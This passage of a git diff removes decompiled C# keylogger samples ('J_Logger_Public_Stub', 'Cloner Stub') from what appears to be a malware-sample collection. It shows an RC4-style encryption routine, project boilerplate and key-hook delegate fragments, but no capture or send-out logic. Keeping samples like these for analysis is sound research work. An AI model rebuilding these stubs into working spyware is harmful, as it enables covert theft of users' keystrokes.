Key); - - public delegate void KeyUpEventHandler(Keys Key); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Module1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Module1.cs deleted file mode 100644 index 2cb2dfd2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Module1.cs +++ /dev/null @@ -1,142 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.Module1 -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Text; -using System.Threading; - -namespace J_Logger_Public_Stub -{ - [StandardModule] - internal sealed class Module1 - { - public sealed class Encryption - { - private Encryption() - { - } - - public static string Encrypt(string message, string key) - { - switch (message) - { - case "": - case null: - throw new ArgumentNullException(nameof (message)); - default: - switch (key) - { - case "": - case null: - throw new ArgumentNullException(nameof (key)); - default: - string empty = string.Empty; - return Module1.Encryption.StringToHex(Module1.Encryption.EnDeCrypt(message, key)); - } - } - } - - public static string Decrypt(string message, string key) - { - switch (message) - { - case "": - case null: - throw new ArgumentNullException(nameof (message)); - default: - switch (key) - { - case "": - case null: - throw new ArgumentNullException(nameof (key)); - default: - string empty = string.Empty; - return Module1.Encryption.EnDeCrypt(Module1.Encryption.HexToString(message), key); - } - } - } - - private static string EnDeCrypt(string message, string password) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - - private static string StringToHex(string message) - { - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - long num = (long) Strings.Len(message); - long Start = 1; - while (Start <= num) - { - stringBuilder.Append(Strings.Right("0" + Conversion.Hex(Strings.Asc(Strings.Mid(message, checked ((int) Start), 1))), 2)); - checked { ++Start; } - } - string hex = stringBuilder.ToString(); - stringBuilder.Length = 0; - return hex; - } - - private static string HexToString(string hex) - { - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - long num = (long) Strings.Len(hex); - long Start = 1; - while (Start <= num) - { - stringBuilder.Append(Strings.Chr(Conversions.ToInteger("&h" + Strings.Mid(hex, checked ((int) Start), 2)))); - checked { Start += 2L; } - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyApplication.cs deleted file mode 100644 index 680afc3a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MyApplication -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace J_Logger_Public_Stub.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyComputer.cs deleted file mode 100644 index 69e806b7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MyComputer -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace J_Logger_Public_Stub.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyProject.cs deleted file mode 100644 index 7fbf3471..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MyProject -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace J_Logger_Public_Stub.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MySettings.cs deleted file mode 100644 index 224f50fb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MySettings -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace J_Logger_Public_Stub.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MySettingsProperty.cs deleted file mode 100644 index e0df88ce..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.MySettingsProperty -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace J_Logger_Public_Stub.My -{ - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/Resources/Resources.cs deleted file mode 100644 index e865d402..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: J_Logger_Public_Stub.My.Resources.Resources -// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A1FB8C7A-C4EB-4CE2-93CC-E7DB21982219 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace J_Logger_Public_Stub.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) J_Logger_Public_Stub.My.Resources.Resources.resourceMan, (object) null)) - J_Logger_Public_Stub.My.Resources.Resources.resourceMan = new ResourceManager("J_Logger_Public_Stub.Resources", typeof (J_Logger_Public_Stub.My.Resources.Resources).Assembly); - return J_Logger_Public_Stub.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => J_Logger_Public_Stub.My.Resources.Resources.resourceCulture; - set => J_Logger_Public_Stub.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Trojan-Spy.MSIL.KeyLogger.jfp.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Trojan-Spy.MSIL.KeyLogger.jfp.csproj deleted file mode 100644 index 17824c49..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Trojan-Spy.MSIL.KeyLogger.jfp.csproj +++ /dev/null @@ -1,54 +0,0 @@ - - - - - Debug - AnyCPU - {E74C761F-56F6-48AA-91DF-A18320C574D3} - WinExe - Stub - 1.0.0.0 - J_Logger_Public_Stub - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Trojan-Spy.MSIL.KeyLogger.jfp.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Trojan-Spy.MSIL.KeyLogger.jfp.sln deleted file mode 100644 index e4ccf3bb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417/Trojan-Spy.MSIL.KeyLogger.jfp.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stub", "Trojan-Spy.MSIL.KeyLogger.jfp-eb435cb8aa395a686c2ec0b5da425f674e7253fbc98eca186fa2f25fff096417.csproj", "{E74C761F-56F6-48AA-91DF-A18320C574D3}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {E74C761F-56F6-48AA-91DF-A18320C574D3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {E74C761F-56F6-48AA-91DF-A18320C574D3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {E74C761F-56F6-48AA-91DF-A18320C574D3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {E74C761F-56F6-48AA-91DF-A18320C574D3}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/AssemblyInfo.cs deleted file mode 100644 index 4b4bf6a7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyTrademark("")] -[assembly: AssemblyTitle("Dosya")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("Dosya")] -[assembly: AssemblyDescription("Dosya")] -[assembly: AssemblyCompany("Microsoft Corporation")] -[assembly: Guid("56378393-c42c-45c4-9e98-ea7d58bc2cff")] -[assembly: AssemblyCopyright("Copyright © FEDERIKO 2010")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Form1.cs deleted file mode 100644 index 6f1f8d15..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Form1.cs +++ /dev/null @@ -1,191 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cloner___Stub.Form1 -// Assembly: Dosya, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 99A5F593-6DC7-404F-A1BD-34228282C6FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace Cloner___Stub -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Label1")] - private Label _Label1; - - [DebuggerNonUserCode] - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.Label1 = new Label(); - this.SuspendLayout(); - this.Label1.AutoSize = true; - this.Label1.Font = new Font("Bradley Hand ITC", 24f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.Label1.Location = new 